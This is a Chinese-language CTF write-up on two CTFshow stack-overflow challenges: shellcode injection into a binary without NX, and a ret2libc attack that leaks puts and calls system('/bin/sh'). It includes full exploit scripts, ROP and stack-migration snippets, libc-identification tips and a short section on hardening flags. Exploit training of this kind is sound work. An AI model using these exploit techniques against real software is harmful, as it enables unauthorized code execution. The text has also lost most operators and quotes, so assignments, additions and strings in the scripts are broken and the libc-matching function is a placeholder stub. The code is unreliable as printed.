CTFshow PWN实战:从pwn24到pwn25,手把手教你两种栈溢出攻击姿势(含LibcSearcher避坑指南)
CTFshow PWN实战两种栈溢出攻击姿势与LibcSearcher避坑指南在CTF竞赛中PWN题型一直是考察二进制漏洞利用能力的核心项目。本文将带你深入分析CTFshow平台上两道经典的栈溢出题目——pwn24和pwn25通过对比无NX保护和开启NX保护两种场景下的攻击方法掌握从基础到进阶的实战技巧。1. 环境准备与工具链配置在开始实战前需要确保具备以下环境Ubuntu 18.04/20.04推荐使用原生Linux系统或WSL2Python环境# 安装Python3和pip sudo apt update sudo apt install python3 python3-pip必备工具# 安装pwntools pip3 install pwntools # 安装调试工具 sudo apt install gdb gdb-multiarch注意建议使用Python3环境避免Python2带来的兼容性问题。2. pwn24无NX保护的shellcode注入2.1 题目分析与保护机制检查首先使用checksec检查二进制文件的安全机制checksec ./pwn24典型输出结果Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)关键发现32位程序影响内存地址和寄存器使用NX disabled允许栈上执行代码为shellcode注入创造条件No canary可以直接覆盖返回地址2.2 漏洞定位与利用思路通过反汇编找到危险函数objdump -d ./pwn24 | grep -A20 ctfshow发现存在不安全的read调用08049196 ctfshow: 8049196: 55 push %ebp 8049197: 89 e5 mov %esp,%ebp 8049199: 81 ec 88 00 00 00 sub $0x88,%esp 804919f: 83 ec 04 sub $0x4,%esp 80491a2: 68 00 01 00 00 push $0x100 80491a7: 8d 85 78 ff ff ff lea -0x88(%ebp),%eax 80491ad: 50 push %eax 80491ae: 6a 00 push $0x0 80491b0: e8 9b fe ff ff call 8049050 readplt利用步骤计算偏移量0x88(缓冲区) 4(ebp) 140字节构造payload填充140字节 shellcode地址将shellcode放置在返回地址后或利用环境变量2.3 完整利用脚本from pwn import * context(archi386, oslinux) p remote(pwn.challenge.ctf.show, 28251) # 生成execve(/bin/sh)的shellcode shellcode asm(shellcraft.sh()) # 构造payload payload flat({ 140: p32(0xffffd580), # 栈地址需通过调试确定 }, filler\x90) # NOP sled提高命中率 payload shellcode p.sendline(payload) p.interactive()调试技巧gdb -q ./pwn24 (gdb) b *ctfshow25 (gdb) r (python -c print A*140 BBBB) (gdb) x/40wx $esp3. pwn25NX保护下的ret2libc攻击3.1 保护机制分析检查安全措施Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键变化NX enabled栈不可执行需转向代码复用攻击Partial RELROGOT表可写为GOT劫持创造条件3.2 利用思路与难点突破ret2libc攻击流程泄露libc函数地址如puts计算libc基地址定位system和/bin/sh构造ROP链关键问题如何在没有libc的情况下确定版本方案一使用已知libc推荐from pwn import * p remote(pwn.challenge.ctf.show, 28116) elf ELF(./pwn25) libc ELF(libc6-i386_2.27-3ubuntu1.4_amd64.so) # 已知版本 # 第一次溢出泄露puts地址 payload flat( bA*(0x884), elf.plt[puts], elf.symbols[main], elf.got[puts] ) p.sendline(payload) puts_addr u32(p.recv(4)) libc.address puts_addr - libc.symbols[puts] # 第二次溢出调用system payload flat( bA*(0x884), libc.symbols[system], bBBBB, # 返回地址任意 next(libc.search(b/bin/sh)) ) p.sendline(payload) p.interactive()方案二LibcSearcher替代方案针对LibcSearcher的常见问题推荐以下解决方案使用libc-databasegit clone https://github.com/niklasb/libc-database.git cd libc-database ./get ubuntu在线查询工具https://libc.blukat.me/https://libc.rip/手动匹配特征# 通过多个函数地址确定libc版本 def find_libc(puts_addr, printf_addr): # 计算偏移差 offset_diff printf_addr - puts_addr # 与已知libc版本对比 if offset_diff 0x10: # 示例值 return puts_addr - 0x067b20 # 对应libc基址3.3 高级技巧栈迁移与ROP链构造当空间受限时可结合栈迁移技术# 寻找可用gadget rop ROP(elf) rop.raw(bA*(0x884)) rop.migrate(0xffffd580) # 目标栈地址 rop.puts(elf.got[puts]) rop.main() p.sendline(rop.chain())4. 实战中的常见问题与解决方案4.1 地址随机化ASLR应对策略信息泄露通过输出函数泄露地址暴力破解针对部分随机化的场景地址预测利用内存布局特征4.2 Python环境问题终极解决方案推荐使用virtualenv创建独立环境python3 -m venv pwn-env source pwn-env/bin/activate pip install pwntools uncompyle64.3 调试技巧汇编GDB增强配置wget -P ~ https://git.io/.gdbinit常用命令组合# 查看内存映射 vmmap # 查找字符串 find /bin/sh # ROP gadget搜索 rop --grep pop eax5. 安全防护与漏洞修复建议5.1 开发者防护措施启用所有保护机制CFLAGS -fstack-protector-strong -pie -fPIC -D_FORTIFY_SOURCE2 LDFLAGS -Wl,-z,now,-z,relro安全编码实践// 使用安全函数替代gets/scanf fgets(buf, sizeof(buf), stdin);5.2 CTF选手防御视角理解防护机制有助于攻击Canary绕过通过信息泄露或暴力破解PIE绕过利用信息泄露计算基址RELRO完全转向其他攻击面在完成这两道题目后建议尝试修改防护设置重新编译并测试攻击方法的变化这将极大提升对二进制漏洞本质的理解。